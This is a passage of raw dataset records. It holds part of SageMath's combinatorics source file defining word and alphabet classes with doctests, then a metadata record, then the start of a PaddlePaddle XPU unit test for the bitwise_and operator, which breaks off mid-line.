      sage: W = Words_over_Alphabet(['a','b','c'])\n            sage: W._check('abcabc') is None\n            True\n            sage: W._check('abcabcd')\n            Traceback (most recent call last):\n            ...\n            ValueError: d not in alphabet!\n            sage: W._check('abcabc'*10+'z') is None\n            True\n            sage: W._check('abcabc'*10+'z', length=80)\n            Traceback (most recent call last):\n            ...\n            ValueError: z not in alphabet!\n        \"\"\"\n        for a in itertools.islice(w, length):\n            if a not in self._alphabet:\n                raise ValueError, \"%s not in alphabet!\" % a\n\n    def _repr_(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_all\n            sage: Words_all()._repr_()\n            'Words'\n        \"\"\"\n        return 'Words'\n\n    def __contains__(self, x):\n        \"\"\"\n        Returns True if x is contained in self.\n\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_all\n            sage: 2 in Words_all()\n            False\n            sage: [1,2] in Words_all()\n            False\n            sage: Words('ab')('abba') in Words_all()\n            True\n        \"\"\"\n        from sage.combinat.words.abstract_word import Word_class\n        return isinstance(x, Word_class)\n\n    def __eq__(self, other):\n        r\"\"\"\n        Returns True if self is equal to other and False otherwise.\n\n        EXAMPLES::\n\n            sage: Words('ab') == Words()\n            False\n            sage: Words() == Words('ab')\n            False\n            sage: Words('ab') == Words('ab')\n            True\n            sage: Words('ab') == Words('ba')\n            False\n            sage: Words('ab') == Words('abc')\n            False\n            sage: Words('abc') == Words('ab')\n            False\n\n        ::\n\n            sage: WordPaths('abcd') == Words('abcd')\n            True\n            sage: Words('abcd') == WordPaths('abcd')\n            True\n            sage: Words('bacd') == WordPaths('abcd')\n            False\n            sage: WordPaths('bacd') == WordPaths('abcd')\n            False\n\n        TESTS:\n\n        :trac:`15480`::\n\n            sage: Words(3, 10) == Words(3,900)\n            False\n            sage: Words(2, finite=False) == Words(2)\n            False\n            sage: Words(2) == Words(2,30)\n            False\n            sage: Words(10,0) == Words(20,0)\n            True\n            sage: WordPaths('abcd') == Words(\"abcd\",3)\n            False\n            sage: Words(3) == Words(3,finite=False)\n            False\n            sage: Words(3) == Words(3,infinite=False)\n            False\n        \"\"\"\n\n        from paths import WordPaths_all\n        # Specific case of Words_over_Alphabet and WordPath. See #15480\n        # i.e. when self,other in Words_over_Alphabet, WordPath and one of them at least is a wordpath\n        if ((isinstance(self,WordPaths_all) and isinstance(other,WordPaths_all)) or\n            (type(self) is Words_over_OrderedAlphabet and isinstance(other,WordPaths_all)) or\n            (type(other) is Words_over_OrderedAlphabet and isinstance(self,WordPaths_all))):\n            return self.alphabet() == other.alphabet()\n\n        if not (type(self) is type(other)):\n            return False\n\n        cardinality = self.cardinality()\n\n        if cardinality != other.cardinality():\n            return False\n        if cardinality == 1:\n            return True\n        if self.alphabet() != other.alphabet():\n            return False\n\n        # This method's code cannot be trusted. It's the only way I see to fix\n        # the wrong results reported in #15480. But really, this kind of\n        # code should not be trusted. It is likely to return wrong results if\n        # whenever new classes extending Words_all are added.\n        return True\n\n    def __ne__(self, other):\n        r\"\"\"\n        Returns True if self is not equal to other and False otherwise.\n\n        TESTS::\n\n            sage: Words('ab') != Words('ab')\n            False\n            sage: Words('ab') != Words('abc')\n            True\n            sage: Words('abc') != Words('ab')\n            True\n\n        ::\n\n            sage: WordPaths('abcd') != Words('abcd')\n            False\n            sage: Words('abcd') != WordPaths('abcd')\n            False\n\n        ::\n\n            Words('ab') != 2\n            True\n        \"\"\"\n        if isinstance(other, Words_all):\n            return not self.__eq__(other)\n        else:\n            return NotImplemented\n\n    _alphabet = Set_PythonType(object)\n\n    def alphabet(self):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n            sage: W = Words_over_Alphabet([1,2,3])\n            sage: W.alphabet()\n            [1, 2, 3]\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: W = Words_over_Alphabet(build_alphabet('ab'))\n            sage: W.alphabet()\n            {'a', 'b'}\n        \"\"\"\n        return self._alphabet\n\n    def size_of_alphabet(self):\n        r\"\"\"\n        Returns the size of the alphabet.\n\n        EXAMPLES::\n\n            sage: Words().size_of_alphabet()\n            +Infinity\n        \"\"\"\n        return Infinity\n\n    cmp_letters = cmp\n\n    def has_letter(self, letter):\n        r\"\"\"\n        Returns True if the alphabet of self contains the given letter.\n\n        INPUT:\n\n        -  ``letter`` - a letter\n\n        EXAMPLES::\n\n            sage: W = Words()\n            sage: W.has_letter('a')\n            True\n            sage: W.has_letter(1)\n            True\n            sage: W.has_letter({})\n            True\n            sage: W.has_letter([])\n            True\n            sage: W.has_letter(range(5))\n            True\n            sage: W.has_letter(Permutation([]))\n            True\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n            sage: W = Words_over_Alphabet(['a','b','c'])\n            sage: W.has_letter('a')\n            True\n            sage: W.has_letter('d')\n            False\n            sage: W.has_letter(8)\n            False\n        \"\"\"\n        return letter in self._alphabet\n\nclass Words_over_Alphabet(Words_all):\n    def __init__(self, alphabet):\n        \"\"\"\n        Words over Alphabet.\n\n        INPUT:\n\n        -  ``alphabet`` - assumed to be an instance of Alphabet, but no\n           type checking is done here.\n\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n            sage: W = Words_over_Alphabet([1,2,3])\n            sage: W == loads(dumps(W))\n            True\n\n        The input alphabet must be an instance of Alphabet::\n\n            sage: W = Words_over_Alphabet(Alphabet([1,2,3]))\n            sage: W([1,2,2,3])\n            word: 1223\n        \"\"\"\n        self._alphabet = alphabet\n\n    def _repr_(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n            sage: Words_over_Alphabet([1,2,3])._repr_()\n            'Words over [1, 2, 3]'\n        \"\"\"\n        return \"Words over %s\"%self._alphabet\n\n    def __contains__(self, x):\n        \"\"\"\n        Tests whether self contains x.\n\n        OUTPUT:\n            This method returns True if x is a word of the appropriate\n            length and the alphabets of the parents match. Returns False\n            otherwise.\n\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_Alphabet\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: A = build_alphabet('ab')\n            sage: Words(A)('abba') in Words_over_Alphabet(A)\n            True\n            sage: Words(A)('aa') in Words_over_Alphabet(A)\n            True\n            sage: Words('a')('aa') in Words_over_Alphabet(A)\n            False\n            sage: 2 in Words_over_Alphabet([1,2,3])\n            False\n            sage: [2] in Words_over_Alphabet([1,2,3])\n            False\n            sage: [1, 'a'] in Words_over_Alphabet([1,2,3])\n            False\n        \"\"\"\n        from sage.combinat.words.abstract_word import Word_class\n        return isinstance(x, Word_class) and x.parent().alphabet() == self.alphabet()\n\n    def size_of_alphabet(self):\n        r\"\"\"\n        Returns the size of the alphabet.\n\n        EXAMPLES::\n\n            sage: Words('abcdef').size_of_alphabet()\n            6\n            sage: Words('').size_of_alphabet()\n            0\n        \"\"\"\n        return self.alphabet().cardinality()\n\n    def identity_morphism(self):\n        r\"\"\"\n        Returns the identity morphism from self to itself.\n\n        EXAMPLES::\n\n            sage: W = Words('ab')\n            sage: W.identity_morphism()\n            WordMorphism: a->a, b->b\n\n        ::\n\n            sage: W = Words(range(3))\n            sage: W.identity_morphism()\n            WordMorphism: 0->0, 1->1, 2->2\n\n        There is no support yet for infinite alphabet::\n\n            sage: W = Words(alphabet=Alphabet(name='NN'))\n            sage: W\n            Words over Non negative integers\n            sage: W.identity_morphism()\n            Traceback (most recent call last):\n            ...\n            NotImplementedError: size of alphabet must be finite\n        \"\"\"\n        if self.size_of_alphabet() not in ZZ:\n            raise NotImplementedError, 'size of alphabet must be finite'\n        from sage.combinat.words.morphism import WordMorphism\n        return WordMorphism(dict((a,a) for a in self.alphabet()))\n\nclass Words_n(Words_all):\n    def __init__(self, n):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_n\n            sage: w = Words_n(3)\n            sage: w == loads(dumps(w))\n            True\n        \"\"\"\n        self._n = n\n\n    def __repr__(self):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_n\n            sage: Words_n(3).__repr__()\n            'Words of length 3'\n        \"\"\"\n        return \"Words of length %s\"%self._n\n\n    def __contains__(self, x):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_n\n            sage: 2 in Words_n(3)\n            False\n            sage: [1,'a',3] in Words_n(3)\n            False\n            sage: [1,2] in Words_n(3)\n            False\n            sage: \"abc\" in Words_n(3)\n            False\n            sage: Words(\"abc\")(\"ababc\") in Words_n(3)\n            False\n            sage: Words([0,1])([1,0,1]) in Words_n(3)\n            True\n        \"\"\"\n        from sage.combinat.words.finite_word import FiniteWord_class\n        return isinstance(x, FiniteWord_class) and x.length() == self._n\n\nclass Words_over_OrderedAlphabet(Words_over_Alphabet):\n    def __init__(self, alphabet):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_OrderedAlphabet\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: A = build_alphabet(\"abc\")\n            sage: W = Words_over_OrderedAlphabet(A)\n            sage: W == loads(dumps(W))\n            True\n        \"\"\"\n        super(Words_over_OrderedAlphabet, self).__init__(alphabet)\n\n    def iterate_by_length(self, l=1):\n        r\"\"\"\n        Returns an iterator over all the words of self of length l.\n\n        INPUT:\n\n        - ``l`` - integer (default: 1), the length of the desired words\n\n        EXAMPLES::\n\n            sage: W = Words('ab')\n            sage: list(W.iterate_by_length(1))\n            [word: a, word: b]\n            sage: list(W.iterate_by_length(2))\n            [word: aa, word: ab, word: ba, word: bb]\n            sage: list(W.iterate_by_length(3))\n            [word: aaa,\n             word: aab,\n             word: aba,\n             word: abb,\n             word: baa,\n             word: bab,\n             word: bba,\n             word: bbb]\n            sage: list(W.iterate_by_length('a'))\n            Traceback (most recent call last):\n            ...\n            TypeError: the parameter l (='a') must be an integer\n        \"\"\"\n        if not isinstance(l, (int,Integer)):\n            raise TypeError, \"the parameter l (=%r) must be an integer\"%l\n        #if l == Integer(0):\n        #    yield self()\n        for w in xmrange([self.size_of_alphabet()]*l):\n            yield self(map(lambda x: self.alphabet().unrank(x), w))\n\n    def __iter__(self):\n        r\"\"\"\n        Returns an iterator over all the words of self.\n\n        The iterator outputs the words in lexicographic order,\n        based on the order of the letters in the alphabet.\n\n        EXAMPLES::\n\n            sage: W = Words([4,5])\n            sage: for w in W:\n            ...     if len(w)>3:\n            ...         break\n            ...     else:\n            ...         w\n            ...\n            word:\n            word: 4\n            word: 5\n            word: 44\n            word: 45\n            word: 54\n            word: 55\n            word: 444\n            word: 445\n            word: 454\n            word: 455\n            word: 544\n            word: 545\n            word: 554\n            word: 555\n            sage: W = Words([5,4])\n            sage: for w in W:\n            ...     if len(w)>3:\n            ...         break\n            ...     else:\n            ...         w\n            ...\n            word:\n            word: 5\n            word: 4\n            word: 55\n            word: 54\n            word: 45\n            word: 44\n            word: 555\n            word: 554\n            word: 545\n            word: 544\n            word: 455\n            word: 454\n            word: 445\n            word: 444\n        \"\"\"\n        for l in itertools.count():\n            for w in self.iterate_by_length(l):\n                yield w\n\n    @rename_keyword(deprecation=10134, l='arg')\n    def iter_morphisms(self, arg=None, codomain=None, min_length=1):\n        r\"\"\"\n        Iterate over all morphisms with domain ``self`` and the given\n        codomain.\n\n        INPUT:\n\n        - ``arg`` - (optional, default: None) It can be one of the following :\n\n          - ``None`` - then the method iterates through all morphisms.\n\n          - tuple `(a, b)` of two integers  - It specifies the range\n            ``range(a, b)`` of values to consider for the sum of the length\n            of the image of each letter in the alphabet.\n\n          - list of nonnegative integers - The length of the list must be\n            equal to the size of the alphabet, and the i-th integer of\n            ``arg`` determines the length of the word mapped to by the i-th\n            letter of the (ordered) alphabet.\n\n        - ``codomain`` - (default: None) a combinatorial class of words.\n          By default, ``codomain`` is ``self``.\n\n        - ``min_length`` - (default: 1) nonnegative integer. If ``arg`` is\n          not specified, then iterate through all the morphisms where the\n          length of the images of each letter in the alphabet is at least\n          ``min_length``. This is ignored if ``arg`` is a list.\n\n        OUTPUT:\n\n        iterator\n\n        EXAMPLES:\n\n        Iterator over all non-erasing morphisms::\n\n            sage: W = Words('ab')\n            sage: it = W.iter_morphisms()\n            sage: for _ in range(7): it.next()\n            WordMorphism: a->a, b->a\n            WordMorphism: a->a, b->b\n            WordMorphism: a->b, b->a\n            WordMorphism: a->b, b->b\n            WordMorphism: a->aa, b->a\n            WordMorphism: a->aa, b->b\n            WordMorphism: a->ab, b->a\n\n        Iterator over all morphisms including erasing morphisms::\n\n            sage: W = Words('ab')\n            sage: it = W.iter_morphisms(min_length=0)\n            sage: for _ in range(7): it.next()\n            WordMorphism: a->, b->\n            WordMorphism: a->a, b->\n            WordMorphism: a->b, b->\n            WordMorphism: a->, b->a\n            WordMorphism: a->, b->b\n            WordMorphism: a->aa, b->\n            WordMorphism: a->ab, b->\n\n        Iterator over morphisms where the sum of the lengths of the images\n        of the letters is in a specific range::\n\n            sage: for m in W.iter_morphisms((0, 3), min_length=0): m\n            WordMorphism: a->, b->\n            WordMorphism: a->a, b->\n            WordMorphism: a->b, b->\n            WordMorphism: a->, b->a\n            WordMorphism: a->, b->b\n            WordMorphism: a->aa, b->\n            WordMorphism: a->ab, b->\n            WordMorphism: a->ba, b->\n            WordMorphism: a->bb, b->\n            WordMorphism: a->a, b->a\n            WordMorphism: a->a, b->b\n            WordMorphism: a->b, b->a\n            WordMorphism: a->b, b->b\n            WordMorphism: a->, b->aa\n            WordMorphism: a->, b->ab\n            WordMorphism: a->, b->ba\n            WordMorphism: a->, b->bb\n\n        ::\n\n            sage: for m in W.iter_morphisms( (2, 4) ): m\n            WordMorphism: a->a, b->a\n            WordMorphism: a->a, b->b\n            WordMorphism: a->b, b->a\n            WordMorphism: a->b, b->b\n            WordMorphism: a->aa, b->a\n            WordMorphism: a->aa, b->b\n            WordMorphism: a->ab, b->a\n            WordMorphism: a->ab, b->b\n            WordMorphism: a->ba, b->a\n            WordMorphism: a->ba, b->b\n            WordMorphism: a->bb, b->a\n            WordMorphism: a->bb, b->b\n            WordMorphism: a->a, b->aa\n            WordMorphism: a->a, b->ab\n            WordMorphism: a->a, b->ba\n            WordMorphism: a->a, b->bb\n            WordMorphism: a->b, b->aa\n            WordMorphism: a->b, b->ab\n            WordMorphism: a->b, b->ba\n            WordMorphism: a->b, b->bb\n\n        Iterator over morphisms with specific image lengths::\n\n            sage: for m in W.iter_morphisms([0, 0]): m\n            WordMorphism: a->, b->\n            sage: for m in W.iter_morphisms([0, 1]): m\n            WordMorphism: a->, b->a\n            WordMorphism: a->, b->b\n            sage: for m in W.iter_morphisms([2, 1]): m\n            WordMorphism: a->aa, b->a\n            WordMorphism: a->aa, b->b\n            WordMorphism: a->ab, b->a\n            WordMorphism: a->ab, b->b\n            WordMorphism: a->ba, b->a\n            WordMorphism: a->ba, b->b\n            WordMorphism: a->bb, b->a\n            WordMorphism: a->bb, b->b\n            sage: for m in W.iter_morphisms([2, 2]): m\n            WordMorphism: a->aa, b->aa\n            WordMorphism: a->aa, b->ab\n            WordMorphism: a->aa, b->ba\n            WordMorphism: a->aa, b->bb\n            WordMorphism: a->ab, b->aa\n            WordMorphism: a->ab, b->ab\n            WordMorphism: a->ab, b->ba\n            WordMorphism: a->ab, b->bb\n            WordMorphism: a->ba, b->aa\n            WordMorphism: a->ba, b->ab\n            WordMorphism: a->ba, b->ba\n            WordMorphism: a->ba, b->bb\n            WordMorphism: a->bb, b->aa\n            WordMorphism: a->bb, b->ab\n            WordMorphism: a->bb, b->ba\n            WordMorphism: a->bb, b->bb\n\n        The codomain may be specified as well::\n\n            sage: Y = Words('xyz')\n            sage: for m in W.iter_morphisms([0, 2], codomain=Y): m\n            WordMorphism: a->, b->xx\n            WordMorphism: a->, b->xy\n            WordMorphism: a->, b->xz\n            WordMorphism: a->, b->yx\n            WordMorphism: a->, b->yy\n            WordMorphism: a->, b->yz\n            WordMorphism: a->, b->zx\n            WordMorphism: a->, b->zy\n            WordMorphism: a->, b->zz\n            sage: for m in Y.iter_morphisms([0,2,1], codomain=W): m\n            WordMorphism: x->, y->aa, z->a\n            WordMorphism: x->, y->aa, z->b\n            WordMorphism: x->, y->ab, z->a\n            WordMorphism: x->, y->ab, z->b\n            WordMorphism: x->, y->ba, z->a\n            WordMorphism: x->, y->ba, z->b\n            WordMorphism: x->, y->bb, z->a\n            WordMorphism: x->, y->bb, z->b\n            sage: it = W.iter_morphisms(codomain=Y)\n            sage: for _ in range(10): it.next()\n            WordMorphism: a->x, b->x\n            WordMorphism: a->x, b->y\n            WordMorphism: a->x, b->z\n            WordMorphism: a->y, b->x\n            WordMorphism: a->y, b->y\n            WordMorphism: a->y, b->z\n            WordMorphism: a->z, b->x\n            WordMorphism: a->z, b->y\n            WordMorphism: a->z, b->z\n            WordMorphism: a->xx, b->x\n\n        TESTS::\n\n            sage: list(W.iter_morphisms([1,0]))\n            [WordMorphism: a->a, b->, WordMorphism: a->b, b->]\n            sage: list(W.iter_morphisms([0,0], codomain=Y))\n            [WordMorphism: a->, b->]\n            sage: list(W.iter_morphisms([0, 1, 2]))\n            Traceback (most recent call last):\n            ...\n            TypeError: arg (=[0, 1, 2]) must be an iterable of 2 integers\n            sage: list(W.iter_morphisms([0, 'a']))\n            Traceback (most recent call last):\n            ...\n            TypeError: arg (=[0, 'a']) must be an iterable of 2 integers\n            sage: list(W.iter_morphisms([0, 1], codomain='a'))\n            Traceback (most recent call last):\n            ...\n            TypeError: codomain (=a) must be an instance of Words_over_OrderedAlphabet\n\n        The argument ``l`` is now deprecated::\n\n            sage: W = Words('ab')\n            sage: it = W.iter_morphisms(l=None)\n            doctest:...: DeprecationWarning: use the option 'arg' instead of 'l'\n            See http://trac.sagemath.org/10134 for details.\n        \"\"\"\n        n = self.size_of_alphabet()\n        # create an iterable of compositions (all \"compositions\" if arg is\n        # None, or [arg] otherwise)\n        if arg is None:\n            from sage.combinat.integer_list import IntegerListsLex\n            compositions = IntegerListsLex(itertools.count(),\n                    length=n, min_part = max(0,min_length))\n        elif isinstance(arg, tuple):\n            if not len(arg) == 2 or not all(isinstance(a, (int,Integer)) for a in arg):\n                raise TypeError(\"arg (=%s) must be a tuple of 2 integers\" %arg)\n            from sage.combinat.integer_list import IntegerListsLex\n            compositions = IntegerListsLex(range(*arg),\n                    length=n, min_part = max(0,min_length))\n        else:\n            arg = list(arg)\n            if (not len(arg) == n or not\n                    all(isinstance(a, (int,Integer)) for a in arg)):\n                raise TypeError(\n                    \"arg (=%s) must be an iterable of %s integers\" %(arg, n))\n            compositions = [arg]\n\n        # set the codomain\n        if codomain is None:\n            codomain = self\n        elif not isinstance(codomain, Words_over_OrderedAlphabet):\n            raise TypeError, \"codomain (=%s) must be an instance of Words_over_OrderedAlphabet\"%codomain\n\n        # iterate through the morphisms\n        from sage.combinat.words.morphism import WordMorphism\n        for composition in compositions:\n            cuts = [0] + list(composition)\n            for i in range(1,len(cuts)):\n                cuts[i] += cuts[i-1]\n            s = cuts[-1] # same but better than s = sum(composition)\n            for big_word in codomain.iterate_by_length(s):\n                d = {}\n                i = 0\n                for a in self.alphabet():\n                    d[a] = big_word[cuts[i]:cuts[i+1]]\n                    i += 1\n                yield WordMorphism(d, codomain=codomain)\n\n    def cmp_letters(self, letter1, letter2):\n        r\"\"\"\n        Returns a negative number, zero or a positive number if\n        ``letter1`` < ``letter2``, ``letter1`` == ``letter2`` or\n        ``letter1`` > ``letter2`` respectively.\n\n        INPUT:\n\n        - ``letter1`` - a letter in the alphabet\n        - ``letter2`` - a letter in the alphabet\n\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import Words_over_OrderedAlphabet\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: A = build_alphabet('woa')\n            sage: W = Words_over_OrderedAlphabet(A)\n            sage: W.cmp_letters('w','a')\n            -2\n            sage: W.cmp_letters('w','o')\n            -1\n            sage: W.cmp_letters('w','w')\n            0\n        \"\"\"\n        return int(self._alphabet.rank(letter1) - self._alphabet.rank(letter2))\n\nclass InfiniteWords_over_OrderedAlphabet(Words_over_OrderedAlphabet):\n    def __init__(self, alphabet):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import InfiniteWords_over_OrderedAlphabet\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: A = build_alphabet(\"abc\")\n            sage: W = InfiniteWords_over_OrderedAlphabet(A)\n            sage: W == loads(dumps(W))\n            True\n        \"\"\"\n        super(InfiniteWords_over_OrderedAlphabet, self).__init__(alphabet)\n\n    def _repr_(self):\n        r\"\"\"\n        Returns a string representation of self.\n\n        EXAMPLES::\n\n            sage: Words('ab', finite=False)._repr_()\n            \"Infinite Words over {'a', 'b'}\"\n        \"\"\"\n        return \"Infinite Words over %s\" % self.alphabet()\n\nclass FiniteWords_over_OrderedAlphabet(Words_over_OrderedAlphabet):\n    def __init__(self, alphabet):\n        r\"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import FiniteWords_over_OrderedAlphabet\n            sage: from sage.combinat.words.alphabet import build_alphabet\n            sage: A = build_alphabet(\"abc\")\n            sage: W = FiniteWords_over_OrderedAlphabet(A)\n            sage: W == loads(dumps(W))\n            True\n        \"\"\"\n        super(FiniteWords_over_OrderedAlphabet, self).__init__(alphabet)\n\n    def _repr_(self):\n        r\"\"\"\n        Returns a string representation of self.\n\n        EXAMPLES::\n\n            sage: Words('ab', infinite=False)._repr_()\n            \"Finite Words over {'a', 'b'}\"\n        \"\"\"\n        return \"Finite Words over %s\" % self.alphabet()\n\nclass FiniteWords_length_k_over_OrderedAlphabet(FiniteWords_over_OrderedAlphabet):\n    def __init__(self, alphabet, length):\n        \"\"\"\n        TESTS::\n\n            sage: from sage.combinat.words.words import FiniteWords_length_k_over_OrderedAlphabet\n            sage: A = sage.combinat.words.alphabet.build_alphabet([0,1])\n            sage: W = FiniteWords_length_k_over_OrderedAlphabet(A, 3)\n            sage: W == loads(dumps(W))\n            True\n        \"\"\"\n        super(FiniteWords_length_k_over_OrderedAlphabet, \\\n                self).__init__(alphabet)\n        self._length = length\n\n    def __contains__(self, x):\n        \"\"\"\n        EXAMPLES::\n\n            sage: from sage.combinat.words.words import FiniteWords_length_k_over_OrderedAlphabet\n            sage: A = sage.combinat.words.alphabet.build_alphabet([0,1])\n            sage: W = FiniteWords_length_k_over_OrderedAlphabet(A, 3)\n            sage: [1,2,3] in W\n            False\n            sage: [1,2] in W\n            False\n            sage: Words([0,1])([1,0,1]) in W\n            True\n            sage: Words([1,0])([1,0,1]) in W\n            False\n            sage: W([1,0,1]) in W\n            True\n            sage: Word([2,0]) in W\n            False\n        \"\"\"\n        if super(FiniteWords_length_k_over_OrderedAlphabet, \\\n                self).__contains__(x) and x.length() == self._length:\n            return True\n        else:\n            return False\n\n    def _repr_(self):\n        \"\"\"\n        TESTS::\n\n            sage: from sage.combinat.words.words import FiniteWords_length_k_over_OrderedAlphabet\n            sage: A = sage.combinat.words.alphabet.build_alphabet([1,0])\n            sage: FiniteWords_length_k_over_OrderedAlphabet(A,3)._repr_()\n            'Words of length 3 over {1, 0}'\n        \"\"\"\n        from sage.combinat.words.word_options import word_options\n        if word_options['old_repr']:\n            return \"Words over %s of length %s\"%(self.alphabet(), self._length)\n        return \"Words of length %s over %s\"%(self._length, self.alphabet())\n\n    def cardinality(self):\n        r\"\"\"\n        Returns the number of words of length `n` from alphabet.\n\n        EXAMPLES::\n\n            sage: Words(['a','b','c'], 4).cardinality()\n            81\n            sage: Words(3, 4).cardinality()\n            81\n            sage: Words(0,0).cardinality()\n            1\n            sage: Words(5,0).cardinality()\n            1\n            sage: Words(['a','b','c'],0).cardinality()\n            1\n            sage: Words(0,1).cardinality()\n            0\n            sage: Words(5,1).cardinality()\n            5\n            sage: Words(['a','b','c'],1).cardinality()\n            3\n            sage: Words(7,13).cardinality()\n            96889010407\n            sage: Words(['a','b','c','d','e','f','g'],13).cardinality()\n            96889010407\n        \"\"\"\n        n = self.size_of_alphabet()\n        return n**self._length\n\n    def list(self):\n        r\"\"\"\n        Returns a list of all the words contained in self.\n\n        EXAMPLES::\n\n            sage: Words(0,0).list()\n            [word: ]\n            sage: Words(5,0).list()\n            [word: ]\n            sage: Words(['a','b','c'],0).list()\n            [word: ]\n            sage: Words(5,1).list()\n            [word: 1, word: 2, word: 3, word: 4, word: 5]\n            sage: Words(['a','b','c'],2).list()\n            [word: aa, word: ab, word: ac, word: ba, word: bb, word: bc, word: ca, word: cb, word: cc]\n        \"\"\"\n        return list(self)\n\n    def __iter__(self):\n        \"\"\"\n        Returns an iterator for all of the words of length k from\n        ``self.alphabet()``. The iterator outputs the words in lexicographic\n        order, with respect to the ordering of the alphabet.\n\n        TESTS::\n\n            sage: [w for w in Words(['a', 'b'], 2)]\n            [word: aa, word: ab, word: ba, word: bb]\n            sage: [w for w in Words(['b', 'a'], 2)]\n            [word: bb, word: ba, word: ab, word: aa]\n            sage: [w for w in Words(['a', 'b'], 0)]\n            [word: ]\n            sage: [w for w in Words([], 3)]\n            []\n        \"\"\"\n        return super(FiniteWords_length_k_over_OrderedAlphabet, \\\n                self).iterate_by_length(self._length)\n\n    def iterate_by_length(self, length):\n        r\"\"\"\n        All words in this class are of the same length, so use iterator\n        instead.\n\n        TESTS::\n\n            sage: W = Words(['a', 'b'], 2)\n            sage: list(W.iterate_by_length(2))\n            [word: aa, word: ab, word: ba, word: bb]\n            sage: list(W.iterate_by_length(1))\n            []\n        \"\"\"\n        if length == self._length:\n            return iter(self)\n        else:\n            return iter([])\n\n###########################################################################\n##### DEPRECATION WARNINGS ################################################\n##### Added July 2009 #####################################################\n###########################################################################\n\ndef is_Words(obj):\n    r\"\"\"\n    Returns True if obj is a word set and False otherwise.\n\n    EXAMPLES::\n\n        sage: from sage.combinat.words.words import is_Words\n        sage: is_Words(33)\n        doctest:1: DeprecationWarning: is_Words is deprecated, use isinstance(your_object, Words_all) instead!\n        See http://trac.sagemath.org/6519 for details.\n        False\n        sage: is_Words(Words('ab'))\n        True\n    \"\"\"\n    from sage.misc.superseded import deprecation\n    deprecation(6519, \"is_Words is deprecated, use isinstance(your_object, Words_all) instead!\")\n    return isinstance(obj, Words_all)\n\n", "meta": {"hexsha": "82aa7d87766f1171a45c242badf07ececc7ba26d", "size": 52022, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/combinat/words/words.py", "max_stars_repo_name": "bopopescu/sagesmc", "max_stars_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2015-01-04T07:15:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T15:15:18.000Z", "max_issues_repo_path": "src/sage/combinat/words/words.py", "max_issues_repo_name": "bopopescu/sagesmc", "max_issues_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/combinat/words/words.py", "max_forks_repo_name": "bopopescu/sagesmc", "max_forks_repo_head_hexsha": "e8d1d31f6f598dba2d763baa2d2e804338f9e89e", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 10, "max_forks_repo_forks_event_min_datetime": "2016-09-28T13:12:40.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-12T09:28:34.000Z", "avg_line_length": 34.4060846561, "max_line_length": 131, "alphanum_fraction": 0.5324093653, "include": true, "reason": "import sage,from sage", "num_tokens": 12789, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11279541821247763, "lm_q1q2_score": 0.054195793432592065}}
{"text": "#  Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport unittest\nimport numpy as np\nimport sys\n\nsys.path.append(\"..\")\n\nimport paddle\nfrom op_test import OpTest\nfrom op_test_xpu import XPUOpTest\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\n################## TEST OP: BitwiseAnd ##################\nclass XPUTestBitwiseAnd(XPUOpTestWrapper):\n\n    def __init__(self):\n        self.op_name = 'bitwise_and'\n\n    class XPUTestBitwiseAndBase(XPUOpTest):\n\n        def setUp(self):\n            self.place = paddle.XPUPlace(0)\n            self.init_case()\n            self.set_case()\n\n        def set_case(self):\n            self.op_type = 'bitwise_and'\n\n            x = np.random.randint(self.low,\n                                  self.high,\n                                  self.x_shape,\n                                  dtype=self.dtype)\n            y = np.random.randint(self.low,\n                                  self.high,\n                                  self.y_shape,\n                                  dtype=self.dtype)\n            out = np.bitwise_and(x, y)\n\n            self.attrs = {'use_xpu': True}\n            self.inputs = {\n                'X': OpTest.np_dtype_to_fluid_dtype(x),\n                'Y': OpTest.np_dtype_to_fluid_dtype(y)\n            }\n            self.outputs = {'Out': out}\n\n        def init_case(self):\n            self.dtype = np.int32\n            self.x_shape = [2, 3, 4, 5]\n            self.y_shape = [2, 3, 4, 5]\n            self.low = -100\n            